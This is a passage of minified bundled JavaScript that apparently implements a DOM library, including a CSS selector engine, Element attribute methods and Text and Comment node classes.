supported.")},":contains":function(A){return function(K){var q=K.innerText||K.textContent||K.value||"";return q.indexOf(A)!==-1}},":has":function(A){return function(K){return i3K(A,K).length>0}}},l3K={"-":function(){return!0},"=":function(A,K){return A===K},"*=":function(A,K){return A.indexOf(K)!==-1},"~=":function(A,K){var q,Y,z,w;for(Y=0;;Y=q+1){if(q=A.indexOf(K,Y),q===-1)return!1;if(z=A[q-1],w=A[q+K.length],(!z||z===" ")&&(!w||w===" "))return!0}},"|=":function(A,K){var q=A.indexOf(K),Y;if(q!==0)return;return Y=A[q+K.length],Y==="-"||!Y},"^=":function(A,K){return A.indexOf(K)===0},"$=":function(A,K){var q=A.lastIndexOf(K);return q!==-1&&q+K.length===A.length},"!=":function(A,K){return A!==K}},fUA={" ":function(A){return function(K){while(K=K.parentNode)if(A(K))return K}},">":function(A){return function(K){if(K=K.parentNode)return A(K)&&K}},"+":function(A){return function(K){if(K=BMA(K))return A(K)&&K}},"~":function(A){return function(K){while(K=BMA(K))if(A(K))return K}},noop:function(A){return function(K){return A(K)&&K}},ref:function(A,K){var q;function Y(z){var w=z.ownerDocument,H=w.getElementsByTagName("*"),J=H.length;while(J--)if(q=H[J],Y.test(z))return q=null,!0;q=null}return Y.combinator=function(z){if(!q||!q.getAttribute)return;var w=q.getAttribute(K)||"";if(w[0]==="#")w=w.substring(1);if(w===z.id&&A(q))return q},Y}},Bq={escape:/\\(?:[^0-9A-Fa-f\r\n]|[0-9A-Fa-f]{1,6}[\r\n\t ]?)/g,str_escape:/(escape)|\\(\n|\r\n?|\f)/g,nonascii:/[\u00A0-\uFFFF]/,cssid:/(?:(?!-?[0-9])(?:escape|nonascii|[-_a-zA-Z0-9])+)/,qname:/^ *(cssid|\*)/,simple:/^(?:([.#]cssid)|pseudo|attr)/,ref:/^ *\/(cssid)\/ */,combinator:/^(?: +([^ \w*.#\\]) +|( )+|([^ \w*.#\\]))(?! *$)/,attr:/^\[(cssid)(?:([^\w]?=)(inside))?\]/,pseudo:/^(:cssid)(?:\((inside)\))?/,inside:/(?:"(?:\\"|[^"])*"|'(?:\\'|[^'])*'|<[^"'>]*>|\\["'>]|[^"'>])*/,ident:/^(cssid)$/};Bq.cssid=AN(Bq.cssid,"nonascii",Bq.nonascii);Bq.cssid=AN(Bq.cssid,"escape",Bq.escape);Bq.qname=AN(Bq.qname,"cssid",Bq.cssid);Bq.simple=AN(Bq.simple,"cssid",Bq.cssid);Bq.ref=AN(Bq.ref,"cssid",Bq.cssid);Bq.attr=AN(Bq.attr,"cssid",Bq.cssid);Bq.pseudo=AN(Bq.pseudo,"cssid",Bq.cssid);Bq.inside=AN(Bq.inside,`[^"'>]*`,Bq.inside);Bq.attr=AN(Bq.attr,"inside",c3K("\\[","\\]"));Bq.pseudo=AN(Bq.pseudo,"inside",c3K("\\(","\\)"));Bq.simple=AN(Bq.simple,"pseudo",Bq.pseudo);Bq.simple=AN(Bq.simple,"attr",Bq.attr);Bq.ident=AN(Bq.ident,"cssid",Bq.cssid);Bq.str_escape=AN(Bq.str_escape,"escape",Bq.escape);var NUA=function(A){var K=A.replace(/^\s+|\s+$/g,""),q,Y=[],z=[],w,H,J,O,X;while(K){if(J=Bq.qname.exec(K))K=K.substring(J[0].length),H=st(J[1]),z.push(pV1(H,!0));else if(J=Bq.simple.exec(K))K=K.substring(J[0].length),H="*",z.push(pV1(H,!0)),z.push(pV1(J));else throw SyntaxError("Invalid selector.");while(J=Bq.simple.exec(K))K=K.substring(J[0].length),z.push(pV1(J));if(K[0]==="!")K=K.substring(1),w=UN2(),w.qname=H,z.push(w.simple);if(J=Bq.ref.exec(K)){K=K.substring(J[0].length),X=fUA.ref(bh6(z),st(J[1])),Y.push(X.combinator),z=[];continue}if(J=Bq.combinator.exec(K)){if(K=K.substring(J[0].length),O=J[1]||J[2]||J[3],O===","){Y.push(fUA.noop(bh6(z)));break}}else O="noop";if(!fUA[O])throw SyntaxError("Bad combinator.");Y.push(fUA[O](bh6(z))),z=[]}if(q=QN2(Y),q.qname=H,q.sel=K,w)w.lname=q.qname,w.test=q,w.qname=w.qname,w.sel=q.sel,q=w;if(X)X.test=q,X.qname=q.qname,X.sel=q.sel,q=X;return q},pV1=function(A,K){if(K)return A==="*"?rG["*"]:rG.type(A);if(A[1])return A[1][0]==="."?rG.attr("class","~=",st(A[1].substring(1)),!1):rG.attr("id","=",st(A[1].substring(1)),!1);if(A[2])return A[3]?rG[st(A[2])](p3K(A[3])):rG[st(A[2])];if(A[4]){var q=A[6],Y=/["'\s]\s*I$/i.test(q);if(Y)q=q.replace(/\s*I$/i,"");return rG.attr(st(A[4]),A[5]||"-",p3K(q),Y)}throw SyntaxError("Unknown Selector.")},bh6=function(A){var K=A.length,q;if(K<2)return A[0];return function(Y){if(!Y)return;for(q=0;q<K;q++)if(!A[q](Y))return;return!0}},QN2=function(A){if(A.length<2)return function(K){return!!A[0](K)};return function(K){var q=A.length;while(q--)if(!(K=A[q](K)))return;return!0}},UN2=function(){var A;function K(q){var Y=q.ownerDocument,z=Y.getElementsByTagName(K.lname),w=z.length;while(w--)if(K.test(z[w])&&A===q)return A=null,!0;A=null}return K.simple=function(q){return A=q,!0},K},xh6=function(A){var K=NUA(A),q=[K];while(K.sel)K=NUA(K.sel),q.push(K);if(q.length<2)return K;return function(Y){var z=q.length,w=0;for(;w<z;w++)if(q[w](Y))return!0}},i3K=function(A,K){var q=[],Y=NUA(A),z=K.getElementsByTagName(Y.qname),w=0,H;while(H=z[w++])if(Y(H))q.push(H);if(Y.sel){while(Y.sel){Y=NUA(Y.sel),z=K.getElementsByTagName(Y.qname),w=0;while(H=z[w++])if(Y(H)&&gN2.call(q,H)===-1)q.push(H)}q.sort(uN2)}return q};n3K.exports=mMA=function(A,K){var q,Y;if(K.nodeType!==11&&A.indexOf(" ")===-1){if(A[0]==="#"&&K.rooted&&/^#[A-Z_][-A-Z0-9_]*$/i.test(A)){if(K.doc._hasMultipleElementsWithId){if(q=A.substring(1),!K.doc._hasMultipleElementsWithId(q))return Y=K.doc.getElementById(q),Y?[Y]:[]}}if(A[0]==="."&&/^\.\w+$/.test(A))return K.getElementsByClassName(A.substring(1));if(/^\w+$/.test(A))return K.getElementsByTagName(A)}return i3K(A,K)};mMA.selectors=rG;mMA.operators=l3K;mMA.combinators=fUA;mMA.matches=function(A,K){var q={sel:K};do if(q=NUA(q.sel),q(A))return!0;while(q.sel);return!1}});var lV1=v((FtH,r3K)=>{var pN2=RW(),dN2=jh6(),uh6=function(A,K){var q=A.createDocumentFragment();for(var Y=0;Y<K.length;Y++){var z=K[Y],w=z instanceof pN2;q.appendChild(w?z:A.createTextNode(String(z)))}return q},cN2={after:{value:function(){var K=Array.prototype.slice.call(arguments),q=this.parentNode,Y=this.nextSibling;if(q===null)return;while(Y&&K.some(function(w){return w===Y}))Y=Y.nextSibling;var z=uh6(this.doc,K);q.insertBefore(z,Y)}},before:{value:function(){var K=Array.prototype.slice.call(arguments),q=this.parentNode,Y=this.previousSibling;if(q===null)return;while(Y&&K.some(function(H){return H===Y}))Y=Y.previousSibling;var z=uh6(this.doc,K),w=Y?Y.nextSibling:q.firstChild;q.insertBefore(z,w)}},remove:{value:function(){if(this.parentNode===null)return;if(this.doc){if(this.doc._preremoveNodeIterators(this),this.rooted)this.doc.mutateRemove(this)}this._remove(),this.parentNode=null}},_remove:{value:function(){var K=this.parentNode;if(K===null)return;if(K._childNodes)K._childNodes.splice(this.index,1);else if(K._firstChild===this)if(this._nextSibling===this)K._firstChild=null;else K._firstChild=this._nextSibling;dN2.remove(this),K.modify()}},replaceWith:{value:function(){var K=Array.prototype.slice.call(arguments),q=this.parentNode,Y=this.nextSibling;if(q===null)return;while(Y&&K.some(function(w){return w===Y}))Y=Y.nextSibling;var z=uh6(this.doc,K);if(this.parentNode===q)q.replaceChild(z,this);else q.insertBefore(z,Y)}}};r3K.exports=cN2});var Bh6=v((QtH,a3K)=>{var o3K=RW(),lN2={nextElementSibling:{get:function(){if(this.parentNode){for(var A=this.nextSibling;A!==null;A=A.nextSibling)if(A.nodeType===o3K.ELEMENT_NODE)return A}return null}},previousElementSibling:{get:function(){if(this.parentNode){for(var A=this.previousSibling;A!==null;A=A.previousSibling)if(A.nodeType===o3K.ELEMENT_NODE)return A}return null}}};a3K.exports=lN2});var mh6=v((UtH,t3K)=>{t3K.exports=s3K;var gMA=P0();function s3K(A){this.element=A}Object.defineProperties(s3K.prototype,{length:{get:gMA.shouldOverride},item:{value:gMA.shouldOverride},getNamedItem:{value:function(K){return this.element.getAttributeNode(K)}},getNamedItemNS:{value:function(K,q){return this.element.getAttributeNodeNS(K,q)}},setNamedItem:{value:gMA.nyi},setNamedItemNS:{value:gMA.nyi},removeNamedItem:{value:function(K){var q=this.element.getAttributeNode(K);if(q)return this.element.removeAttribute(K),q;gMA.NotFoundError()}},removeNamedItemNS:{value:function(K,q){var Y=this.element.getAttributeNodeNS(K,q);if(Y)return this.element.removeAttributeNS(K,q),Y;gMA.NotFoundError()}}})});var QMA=v((ptH,Y9K)=>{Y9K.exports=tt;var gh6=QV1(),fO=P0(),Zm=fO.NAMESPACE,nV1=yh6(),lS=RW(),Fh6=A9A(),iN2=Mh6(),iV1=g3K(),FMA=uV1(),nN2=Sh6(),Qh6=cV1(),A9K=FV1(),rN2=lV1(),oN2=Bh6(),K9K=mh6(),e3K=Object.create(null);function tt(A,K,q,Y){A9K.call(this),this.nodeType=lS.ELEMENT_NODE,this.ownerDocument=A,this.localName=K,this.namespaceURI=q,this.prefix=Y,this._tagName=void 0,this._attrsByQName=Object.create(null),this._attrsByLName=Object.create(null),this._attrKeys=[]}function Uh6(A,K){if(A.nodeType===lS.TEXT_NODE)K.push(A._data);else for(var q=0,Y=A.childNodes.length;q<Y;q++)Uh6(A.childNodes[q],K)}tt.prototype=Object.create(A9K.prototype,{isHTML:{get:function(){return this.namespaceURI===Zm.HTML&&this.ownerDocument.isHTML}},tagName:{get:function(){if(this._tagName===void 0){var K;if(this.prefix===null)K=this.localName;else K=this.prefix+":"+this.localName;if(this.isHTML){var q=e3K[K];if(!q)e3K[K]=q=fO.toASCIIUpperCase(K);K=q}this._tagName=K}return this._tagName}},nodeName:{get:function(){return this.tagName}},nodeValue:{get:function(){return null},set:function(){}},textContent:{get:function(){var A=[];return Uh6(this,A),A.join("")},set:function(A){if(this.removeChildren(),A!==null&&A!==void 0&&A!=="")this._appendChild(this.ownerDocument.createTextNode(A))}},innerText:{get:function(){var A=[];return Uh6(this,A),A.join("").replace(/[ \t\n\f\r]+/g," ").trim()},set:function(A){if(this.removeChildren(),A!==null&&A!==void 0&&A!=="")this._appendChild(this.ownerDocument.createTextNode(A))}},innerHTML:{get:function(){return this.serialize()},set:fO.nyi},outerHTML:{get:function(){return iN2.serializeOne(this,{nodeType:0})},set:function(A){var K=this.ownerDocument,q=this.parentNode;if(q===null)return;if(q.nodeType===lS.DOCUMENT_NODE)fO.NoModificationAllowedError();if(q.nodeType===lS.DOCUMENT_FRAGMENT_NODE)q=q.ownerDocument.createElement("body");var Y=K.implementation.mozHTMLParser(K._address,q);Y.parse(A===null?"":String(A),!0),this.replaceWith(Y._asDocumentFragment())}},_insertAdjacent:{value:function(K,q){var Y=!1;switch(K){case"beforebegin":Y=!0;case"afterend":var z=this.parentNode;if(z===null)return null;return z.insertBefore(q,Y?this:this.nextSibling);case"afterbegin":Y=!0;case"beforeend":return this.insertBefore(q,Y?this.firstChild:null);default:return fO.SyntaxError()}}},insertAdjacentElement:{value:function(K,q){if(q.nodeType!==lS.ELEMENT_NODE)throw TypeError("not an element");return K=fO.toASCIILowerCase(String(K)),this._insertAdjacent(K,q)}},insertAdjacentText:{value:function(K,q){var Y=this.ownerDocument.createTextNode(q);K=fO.toASCIILowerCase(String(K)),this._insertAdjacent(K,Y)}},insertAdjacentHTML:{value:function(K,q){K=fO.toASCIILowerCase(String(K)),q=String(q);var Y;switch(K){case"beforebegin":case"afterend":if(Y=this.parentNode,Y===null||Y.nodeType===lS.DOCUMENT_NODE)fO.NoModificationAllowedError();break;case"afterbegin":case"beforeend":Y=this;break;default:fO.SyntaxError()}if(!(Y instanceof tt)||Y.ownerDocument.isHTML&&Y.localName==="html"&&Y.namespaceURI===Zm.HTML)Y=Y.ownerDocument.createElementNS(Zm.HTML,"body");var z=this.ownerDocument.implementation.mozHTMLParser(this.ownerDocument._address,Y);z.parse(q,!0),this._insertAdjacent(K,z._asDocumentFragment())}},children:{get:function(){if(!this._children)this._children=new q9K(this);return this._children}},attributes:{get:function(){if(!this._attributes)this._attributes=new dh6(this);return this._attributes}},firstElementChild:{get:function(){for(var A=this.firstChild;A!==null;A=A.nextSibling)if(A.nodeType===lS.ELEMENT_NODE)return A;return null}},lastElementChild:{get:function(){for(var A=this.lastChild;A!==null;A=A.previousSibling)if(A.nodeType===lS.ELEMENT_NODE)return A;return null}},childElementCount:{get:function(){return this.children.length}},nextElement:{value:function(A){if(!A)A=this.ownerDocument.documentElement;var K=this.firstElementChild;if(!K){if(this===A)return null;K=this.nextElementSibling}if(K)return K;for(var q=this.parentElement;q&&q!==A;q=q.parentElement)if(K=q.nextElementSibling,K)return K;return null}},getElementsByTagName:{value:function(K){var q;if(!K)return new Fh6;if(K==="*")q=function(){return!0};else if(this.isHTML)q=aN2(K);else q=ph6(K);return new iV1(this,q)}},getElementsByTagNameNS:{value:function(K,q){var Y;if(K==="*"&&q==="*")Y=function(){return!0};else if(K==="*")Y=ph6(q);else if(q==="*")Y=sN2(K);else Y=tN2(K,q);return new iV1(this,Y)}},getElementsByClassName:{value:function(K){if(K=String(K).trim(),K===""){var q=new Fh6;return q}return K=K.split(/[ \t\r\n\f]+/),new iV1(this,eN2(K))}},getElementsByName:{value:function(K){return new iV1(this,AT2(String(K)))}},clone:{value:function(){var K;if(this.namespaceURI!==Zm.HTML||this.prefix||!this.ownerDocument.isHTML)K=this.ownerDocument.createElementNS(this.namespaceURI,this.prefix!==null?this.prefix+":"+this.localName:this.localName);else K=this.ownerDocument.createElement(this.localName);for(var q=0,Y=this._attrKeys.length;q<Y;q++){var z=this._attrKeys[q],w=this._attrsByLName[z],H=w.cloneNode();H._setOwnerElement(K),K._attrsByLName[z]=H,K._addQName(H)}return K._attrKeys=this._attrKeys.concat(),K}},isEqual:{value:function(K){if(this.localName!==K.localName||this.namespaceURI!==K.namespaceURI||this.prefix!==K.prefix||this._numattrs!==K._numattrs)return!1;for(var q=0,Y=this._numattrs;q<Y;q++){var z=this._attr(q);if(!K.hasAttributeNS(z.namespaceURI,z.localName))return!1;if(K.getAttributeNS(z.namespaceURI,z.localName)!==z.value)return!1}return!0}},_lookupNamespacePrefix:{value:function(K,q){if(this.namespaceURI&&this.namespaceURI===K&&this.prefix!==null&&q.lookupNamespaceURI(this.prefix)===K)return this.prefix;for(var Y=0,z=this._numattrs;Y<z;Y++){var w=this._attr(Y);if(w.prefix==="xmlns"&&w.value===K&&q.lookupNamespaceURI(w.localName)===K)return w.localName}var H=this.parentElement;return H?H._lookupNamespacePrefix(K,q):null}},lookupNamespaceURI:{value:function(K){if(K===""||K===void 0)K=null;if(this.namespaceURI!==null&&this.prefix===K)return this.namespaceURI;for(var q=0,Y=this._numattrs;q<Y;q++){var z=this._attr(q);if(z.namespaceURI===Zm.XMLNS){if(z.prefix==="xmlns"&&z.localName===K||K===null&&z.prefix===null&&z.localName==="xmlns")return z.value||null}}var w=this.parentElement;return w?w.lookupNamespaceURI(K):null}},getAttribute:{value:function(K){var q=this.getAttributeNode(K);return q?q.value:null}},getAttributeNS:{value:function(K,q){var Y=this.getAttributeNodeNS(K,q);return Y?Y.value:null}},getAttributeNode:{value:function(K){if(K=String(K),/[A-Z]/.test(K)&&this.isHTML)K=fO.toASCIILowerCase(K);var q=this._attrsByQName[K];if(!q)return null;if(Array.isArray(q))q=q[0];return q}},getAttributeNodeNS:{value:function(K,q){K=K===void 0||K===null?"":String(K),q=String(q);var Y=this._attrsByLName[K+"|"+q];return Y?Y:null}},hasAttribute:{value:function(K){if(K=String(K),/[A-Z]/.test(K)&&this.isHTML)K=fO.toASCIILowerCase(K);return this._attrsByQName[K]!==void 0}},hasAttributeNS:{value:function(K,q){K=K===void 0||K===null?"":String(K),q=String(q);var Y=K+"|"+q;return this._attrsByLName[Y]!==void 0}},hasAttributes:{value:function(){return this._numattrs>0}},toggleAttribute:{value:function(K,q){if(K=String(K),!gh6.isValidName(K))fO.InvalidCharacterError();if(/[A-Z]/.test(K)&&this.isHTML)K=fO.toASCIILowerCase(K);var Y=this._attrsByQName[K];if(Y===void 0){if(q===void 0||q===!0)return this._setAttribute(K,""),!0;return!1}else{if(q===void 0||q===!1)return this.removeAttribute(K),!1;return!0}}},_setAttribute:{value:function(K,q){var Y=this._attrsByQName[K],z;if(!Y)Y=this._newattr(K),z=!0;else if(Array.isArray(Y))Y=Y[0];if(Y.value=q,this._attributes)this._attributes[K]=Y;if(z&&this._newattrhook)this._newattrhook(K,q)}},setAttribute:{value:function(K,q){if(K=String(K),!gh6.isValidName(K))fO.InvalidCharacterError();if(/[A-Z]/.test(K)&&this.isHTML)K=fO.toASCIILowerCase(K);this._setAttribute(K,String(q))}},_setAttributeNS:{value:function(K,q,Y){var z=q.indexOf(":"),w,H;if(z<0)w=null,H=q;else w=q.substring(0,z),H=q.substring(z+1);if(K===""||K===void 0)K=null;var J=(K===null?"":K)+"|"+H,O=this._attrsByLName[J],X;if(!O){if(O=new TUA(this,H,w,K),X=!0,this._attrsByLName[J]=O,this._attributes)this._attributes[this._attrKeys.length]=O;this._attrKeys.push(J),this._addQName(O)}if(O.value=Y,X&&this._newattrhook)this._newattrhook(q,Y)}},setAttributeNS:{value:function(K,q,Y){if(K=K===null||K===void 0||K===""?null:String(K),q=String(q),!gh6.isValidQName(q))fO.InvalidCharacterError();var z=q.indexOf(":"),w=z<0?null:q.substring(0,z);if(w!==null&&K===null||w==="xml"&&K!==Zm.XML||(q==="xmlns"||w==="xmlns")&&K!==Zm.XMLNS||K===Zm.XMLNS&&!(q==="xmlns"||w==="xmlns"))fO.NamespaceError();this._setAttributeNS(K,q,String(Y))}},setAttributeNode:{value:function(K){if(K.ownerElement!==null&&K.ownerElement!==this)throw new FMA(FMA.INUSE_ATTRIBUTE_ERR);var q=null,Y=this._attrsByQName[K.name];if(Y){if(!Array.isArray(Y))Y=[Y];if(Y.some(function(z){return z===K}))return K;else if(K.ownerElement!==null)throw new FMA(FMA.INUSE_ATTRIBUTE_ERR);Y.forEach(function(z){this.removeAttributeNode(z)},this),q=Y[0]}return this.setAttributeNodeNS(K),q}},setAttributeNodeNS:{value:function(K){if(K.ownerElement!==null)throw new FMA(FMA.INUSE_ATTRIBUTE_ERR);var q=K.namespaceURI,Y=(q===null?"":q)+"|"+K.localName,z=this._attrsByLName[Y];if(z)this.removeAttributeNode(z);if(K._setOwnerElement(this),this._attrsByLName[Y]=K,this._attributes)this._attributes[this._attrKeys.length]=K;if(this._attrKeys.push(Y),this._addQName(K),this._newattrhook)this._newattrhook(K.name,K.value);return z||null}},removeAttribute:{value:function(K){if(K=String(K),/[A-Z]/.test(K)&&this.isHTML)K=fO.toASCIILowerCase(K);var q=this._attrsByQName[K];if(!q)return;if(Array.isArray(q))if(q.length>2)q=q.shift();else this._attrsByQName[K]=q[1],q=q[0];else this._attrsByQName[K]=void 0;var Y=q.namespaceURI,z=(Y===null?"":Y)+"|"+q.localName;this._attrsByLName[z]=void 0;var w=this._attrKeys.indexOf(z);if(this._attributes)Array.prototype.splice.call(this._attributes,w,1),this._attributes[K]=void 0;this._attrKeys.splice(w,1);var H=q.onchange;if(q._setOwnerElement(null),H)H.call(q,this,q.localName,q.value,null);if(this.rooted)this.ownerDocument.mutateRemoveAttr(q)}},removeAttributeNS:{value:function(K,q){K=K===void 0||K===null?"":String(K),q=String(q);var Y=K+"|"+q,z=this._attrsByLName[Y];if(!z)return;this._attrsByLName[Y]=void 0;var w=this._attrKeys.indexOf(Y);if(this._attributes)Array.prototype.splice.call(this._attributes,w,1);this._attrKeys.splice(w,1),this._removeQName(z);var H=z.onchange;if(z._setOwnerElement(null),H)H.call(z,this,z.localName,z.value,null);if(this.rooted)this.ownerDocument.mutateRemoveAttr(z)}},removeAttributeNode:{value:function(K){var q=K.namespaceURI,Y=(q===null?"":q)+"|"+K.localName;if(this._attrsByLName[Y]!==K)fO.NotFoundError();return this.removeAttributeNS(q,K.localName),K}},getAttributeNames:{value:function(){var K=this;return this._attrKeys.map(function(q){return K._attrsByLName[q].name})}},_getattr:{value:function(K){var q=this._attrsByQName[K];return q?q.value:null}},_setattr:{value:function(K,q){var Y=this._attrsByQName[K],z;if(!Y)Y=this._newattr(K),z=!0;if(Y.value=String(q),this._attributes)this._attributes[K]=Y;if(z&&this._newattrhook)this._newattrhook(K,q)}},_newattr:{value:function(K){var q=new TUA(this,K,null,null),Y="|"+K;if(this._attrsByQName[K]=q,this._attrsByLName[Y]=q,this._attributes)this._attributes[this._attrKeys.length]=q;return this._attrKeys.push(Y),q}},_addQName:{value:function(A){var K=A.name,q=this._attrsByQName[K];if(!q)this._attrsByQName[K]=A;else if(Array.isArray(q))q.push(A);else this._attrsByQName[K]=[q,A];if(this._attributes)this._attributes[K]=A}},_removeQName:{value:function(A){var K=A.name,q=this._attrsByQName[K];if(Array.isArray(q)){var Y=q.indexOf(A);if(fO.assert(Y!==-1),q.length===2){if(this._attrsByQName[K]=q[1-Y],this._attributes)this._attributes[K]=this._attrsByQName[K]}else if(q.splice(Y,1),this._attributes&&this._attributes[K]===A)this._attributes[K]=q[0]}else if(fO.assert(q===A),this._attrsByQName[K]=void 0,this._attributes)this._attributes[K]=void 0}},_numattrs:{get:function(){return this._attrKeys.length}},_attr:{value:function(A){return this._attrsByLName[this._attrKeys[A]]}},id:nV1.property({name:"id"}),className:nV1.property({name:"class"}),classList:{get:function(){var A=this;if(this._classList)return this._classList;var K=new nN2(function(){return A.className||""},function(q){A.className=q});return this._classList=K,K},set:function(A){this.className=A}},matches:{value:function(A){return Qh6.matches(this,A)}},closest:{value:function(A){var K=this;do{if(K.matches&&K.matches(A))return K;K=K.parentElement||K.parentNode}while(K!==null&&K.nodeType===lS.ELEMENT_NODE);return null}},querySelector:{value:function(A){return Qh6(A,this)[0]}},querySelectorAll:{value:function(A){var K=Qh6(A,this);return K.item?K:new Fh6(K)}}});Object.defineProperties(tt.prototype,rN2);Object.defineProperties(tt.prototype,oN2);nV1.registerChangeHandler(tt,"id",function(A,K,q,Y){if(A.rooted){if(q)A.ownerDocument.delId(q,A);if(Y)A.ownerDocument.addId(Y,A)}});nV1.registerChangeHandler(tt,"class",function(A,K,q,Y){if(A._classList)A._classList._update()});function TUA(A,K,q,Y,z){this.localName=K,this.prefix=q===null||q===""?null:""+q,this.namespaceURI=Y===null||Y===""?null:""+Y,this.data=z,this._setOwnerElement(A)}TUA.prototype=Object.create(Object.prototype,{ownerElement:{get:function(){return this._ownerElement}},_setOwnerElement:{value:function(K){if(this._ownerElement=K,this.prefix===null&&this.namespaceURI===null&&K)this.onchange=K._attributeChangeHandlers[this.localName];else this.onchange=null}},name:{get:function(){return this.prefix?this.prefix+":"+this.localName:this.localName}},specified:{get:function(){return!0}},value:{get:function(){return this.data},set:function(A){var K=this.data;if(A=A===void 0?"":A+"",A===K)return;if(this.data=A,this.ownerElement){if(this.onchange)this.onchange(this.ownerElement,this.localName,K,A);if(this.ownerElement.rooted)this.ownerElement.ownerDocument.mutateAttr(this,K)}}},cloneNode:{value:function(K){return new TUA(null,this.localName,this.prefix,this.namespaceURI,this.data)}},nodeType:{get:function(){return lS.ATTRIBUTE_NODE}},nodeName:{get:function(){return this.name}},nodeValue:{get:function(){return this.value},set:function(A){this.value=A}},textContent:{get:function(){return this.value},set:function(A){if(A===null||A===void 0)A="";this.value=A}},innerText:{get:function(){return this.value},set:function(A){if(A===null||A===void 0)A="";this.value=A}}});tt._Attr=TUA;function dh6(A){K9K.call(this,A);for(var K in A._attrsByQName)this[K]=A._attrsByQName[K];for(var q=0;q<A._attrKeys.length;q++)this[q]=A._attrsByLName[A._attrKeys[q]]}dh6.prototype=Object.create(K9K.prototype,{length:{get:function(){return this.element._attrKeys.length},set:function(){}},item:{value:function(A){if(A=A>>>0,A>=this.length)return null;return this.element._attrsByLName[this.element._attrKeys[A]]}}});if(globalThis.Symbol?.iterator)dh6.prototype[globalThis.Symbol.iterator]=function(){var A=0,K=this.length,q=this;return{next:function(){if(A<K)return{value:q.item(A++)};return{done:!0}}}};function q9K(A){this.element=A,this.updateCache()}q9K.prototype=Object.create(Object.prototype,{length:{get:function(){return this.updateCache(),this.childrenByNumber.length}},item:{value:function(K){return this.updateCache(),this.childrenByNumber[K]||null}},namedItem:{value:function(K){return this.updateCache(),this.childrenByName[K]||null}},namedItems:{get:function(){return this.updateCache(),this.childrenByName}},updateCache:{value:function(){var K=/^(a|applet|area|embed|form|frame|frameset|iframe|img|object)$/;if(this.lastModTime!==this.element.lastModTime){this.lastModTime=this.element.lastModTime;var q=this.childrenByNumber&&this.childrenByNumber.length||0;for(var Y=0;Y<q;Y++)this[Y]=void 0;this.childrenByNumber=[],this.childrenByName=Object.create(null);for(var z=this.element.firstChild;z!==null;z=z.nextSibling)if(z.nodeType===lS.ELEMENT_NODE){this[this.childrenByNumber.length]=z,this.childrenByNumber.push(z);var w=z.getAttribute("id");if(w&&!this.childrenByName[w])this.childrenByName[w]=z;var H=z.getAttribute("name");if(H&&this.element.namespaceURI===Zm.HTML&&K.test(this.element.localName)&&!this.childrenByName[H])this.childrenByName[w]=z}}}}});function ph6(A){return function(K){return K.localName===A}}function aN2(A){var K=fO.toASCIILowerCase(A);if(K===A)return ph6(A);return function(q){return q.isHTML?q.localName===K:q.localName===A}}function sN2(A){return function(K){return K.namespaceURI===A}}function tN2(A,K){return function(q){return q.namespaceURI===A&&q.localName===K}}function eN2(A){return function(K){return A.every(function(q){return K.classList.contains(q)})}}function AT2(A){return function(K){if(K.namespaceURI!==Zm.HTML)return!1;return K.getAttribute("name")===A}}});var ch6=v((dtH,O9K)=>{O9K.exports=J9K;var w9K=RW(),KT2=A9A(),H9K=P0(),z9K=H9K.HierarchyRequestError,qT2=H9K.NotFoundError;function J9K(){w9K.call(this)}J9K.prototype=Object.create(w9K.prototype,{hasChildNodes:{value:function(){return!1}},firstChild:{value:null},lastChild:{value:null},insertBefore:{value:function(A,K){if(!A.nodeType)throw TypeError("not a node");z9K()}},replaceChild:{value:function(A,K){if(!A.nodeType)throw TypeError("not a node");z9K()}},removeChild:{value:function(A){if(!A.nodeType)throw TypeError("not a node");qT2()}},removeChildren:{value:function(){}},childNodes:{get:function(){if(!this._childNodes)this._childNodes=new KT2;return this._childNodes}}})});var vUA=v((ctH,_9K)=>{_9K.exports=rV1;var $9K=ch6(),X9K=P0(),YT2=lV1(),zT2=Bh6();function rV1(){$9K.call(this)}rV1.prototype=Object.create($9K.prototype,{substringData:{value:function(K,q){if(arguments.length<2)throw TypeError("Not enough arguments");if(K=K>>>0,q=q>>>0,K>this.data.length||K<0||q<0)X9K.IndexSizeError();return this.data.substring(K,K+q)}},appendData:{value:function(K){if(arguments.length<1)throw TypeError("Not enough arguments");this.data+=String(K)}},insertData:{value:function(K,q){return this.replaceData(K,0,q)}},deleteData:{value:function(K,q){return this.replaceData(K,q,"")}},replaceData:{value:function(K,q,Y){var z=this.data,w=z.length;if(K=K>>>0,q=q>>>0,Y=String(Y),K>w||K<0)X9K.IndexSizeError();if(K+q>w)q=w-K;var H=z.substring(0,K),J=z.substring(K+q);this.data=H+Y+J}},isEqual:{value:function(K){return this._data===K._data}},length:{get:function(){return this.data.length}}});Object.defineProperties(rV1.prototype,YT2);Object.defineProperties(rV1.prototype,zT2)});var ih6=v((ltH,D9K)=>{D9K.exports=lh6;var G9K=P0(),Z9K=RW(),W9K=vUA();function lh6(A,K){W9K.call(this),this.nodeType=Z9K.TEXT_NODE,this.ownerDocument=A,this._data=K,this._index=void 0}var EUA={get:function(){return this._data},set:function(A){if(A===null||A===void 0)A="";else A=String(A);if(A===this._data)return;if(this._data=A,this.rooted)this.ownerDocument.mutateValue(this);if(this.parentNode&&this.parentNode._textchangehook)this.parentNode._textchangehook(this)}};lh6.prototype=Object.create(W9K.prototype,{nodeName:{value:"#text"},nodeValue:EUA,textContent:EUA,innerText:EUA,data:{get:EUA.get,set:function(A){EUA.set.call(this,A===null?"":String(A))}},splitText:{value:function(K){if(K>this._data.length||K<0)G9K.IndexSizeError();var q=this._data.substring(K),Y=this.ownerDocument.createTextNode(q);this.data=this.data.substring(0,K);var z=this.parentNode;if(z!==null)z.insertBefore(Y,this.nextSibling);return Y}},wholeText:{get:function(){var K=this.textContent;for(var q=this.nextSibling;q;q=q.nextSibling){if(q.nodeType!==Z9K.TEXT_NODE)break;K+=q.textContent}return K}},replaceWholeText:{value:G9K.nyi},clone:{value:function(){return new lh6(this.ownerDocument,this._data)}}})});var rh6=v((itH,M9K)=>{M9K.exports=nh6;var wT2=RW(),j9K=vUA();function nh6(A,K){j9K.call(this),this.nodeType=wT2.COMMENT_NODE,this.ownerDocument=A,this._data=K}var kUA={get:function(){return this._data},set:function(A){if(A===null||A===void 0)A="";else A=String(A);if(this._data=A,this.rooted)this.ownerDocument.mutateValue(this)}};nh6.prototype=Object.create(j9K.prototype,{nodeName:{value:"#comment"},nodeValue:kUA,textContent:kUA,innerText:kUA,data:{get:kUA.get,set:function(A){kUA.set.call(this,A===null?"":String(A))}},clone:{value:function(){return new nh6(this.ownerDocument,this._data)}}})});var ah6=v((ntH,f9K)=>{f9K.exports=oh6;var 